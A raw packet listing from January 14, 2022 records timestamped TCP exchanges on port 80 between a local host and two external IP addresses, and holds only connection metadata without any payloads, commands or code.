Jan 14, 2022 01:51:48.314136982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314157009 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314177036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314186096 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.314196110 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314209938 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.314248085 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.314335108 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314357042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314377069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314450979 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.315642118 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.315664053 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.315684080 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.315701962 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.315722942 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.315745115 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.315758944 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.315767050 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.315787077 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.315788031 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.315835953 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.316174984 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316199064 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316224098 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316245079 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316251040 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.316266060 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316287994 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316289902 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.316308022 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316329002 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316349030 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316353083 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.316370010 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316371918 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.316390038 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316410065 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.316420078 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.316457033 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.342741013 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342772007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342792034 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342812061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342830896 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342847109 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.342852116 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342873096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342883110 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.342890978 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.342895031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342916012 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.342916012 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342936993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342957020 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.342967033 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.342977047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.343009949 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.343494892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.343517065 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.343537092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.343559027 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.343584061 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.344568968 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.344588995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.344609022 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.344644070 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346510887 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346540928 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346560001 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346580982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346599102 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346605062 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346612930 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346631050 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346648932 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346652985 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346674919 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346694946 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346716881 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346728086 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346740961 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346745014 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346764088 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346786976 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346798897 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346807957 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346832991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346843004 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346853971 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346875906 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346882105 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346903086 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346925974 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346935034 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346949100 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346970081 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.346981049 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.346993923 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347017050 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347023010 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347038984 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347059965 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347070932 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347080946 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347101927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347115040 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347124100 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347146988 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347148895 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347167969 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347198963 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347217083 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347229958 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347239017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347260952 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347263098 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347280979 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347286940 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347301960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347322941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347336054 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347346067 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347367048 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347378969 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347388029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347410917 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347421885 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347431898 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347434998 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347453117 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347455978 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347474098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347496033 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347517967 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347522020 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347537994 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347556114 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347558975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347579956 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347594023 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347601891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347625017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347640038 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347646952 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347668886 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347673893 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.347691059 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.347791910 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.367176056 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367207050 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367225885 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367245913 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367264986 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367281914 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367285013 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367305994 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367316008 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367321968 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367326975 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367346048 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367367029 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367386103 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367388964 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367398977 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367407084 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367428064 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367446899 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367468119 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367471933 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367489100 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367489100 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367507935 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367527962 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367541075 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367547989 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367563963 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367568016 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367588997 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367620945 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367836952 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367860079 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367882013 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367885113 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367903948 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367925882 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367935896 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367948055 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367970943 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.367979050 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.367993116 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368014097 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368017912 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.368036032 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368057013 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368063927 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.368078947 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368099928 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368109941 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.368120909 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368141890 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368163109 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368169069 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.368185043 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368186951 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.368206024 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368227005 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.368232965 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.368268013 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.388741016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.388806105 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.388829947 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.388851881 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.388874054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.388895988 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.388916016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.388940096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.388942003 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.388959885 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.388972998 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.388979912 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.388984919 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.388987064 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389008999 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389009953 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389031887 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389053106 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389061928 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389075994 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389096975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389118910 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389125109 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389142036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389147997 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389164925 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389187098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389197111 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389208078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389231920 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389256954 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389257908 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389277935 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389292002 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389301062 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389322996 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389343977 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389354944 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389367104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389374971 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389389992 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389411926 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389422894 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389432907 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389455080 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389457941 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389477968 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389498949 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389503002 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389530897 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389553070 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389569044 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389570951 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389591932 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389594078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389616966 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389636040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389652014 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389656067 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389678001 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389692068 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389698029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389719963 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389734030 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389739037 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389760017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389764071 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389780998 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389800072 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389818907 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389831066 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389841080 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389854908 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389883041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389887094 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389904022 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389924049 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389942884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389961958 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389972925 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.389982939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.389993906 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.390003920 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.390024900 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.390034914 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.390075922 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.417517900 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.417583942 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.417623043 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.417664051 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.417701006 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.417707920 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.417741060 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.417753935 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.417783022 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.417821884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.417890072 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.417912006 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.417932034 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.417939901 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.417970896 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418010950 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418051004 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.418071032 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418088913 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.418128967 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.418159008 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.418164968 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418179989 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.418205023 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418210030 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418242931 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418281078 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418303013 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418318987 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418356895 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418373108 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418395996 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418435097 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418462992 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418472052 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418510914 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418535948 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418550014 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418586969 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418613911 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418627024 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418664932 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418703079 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418710947 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418740988 CET	80	49867	93.189.42.167	192.168.2.3
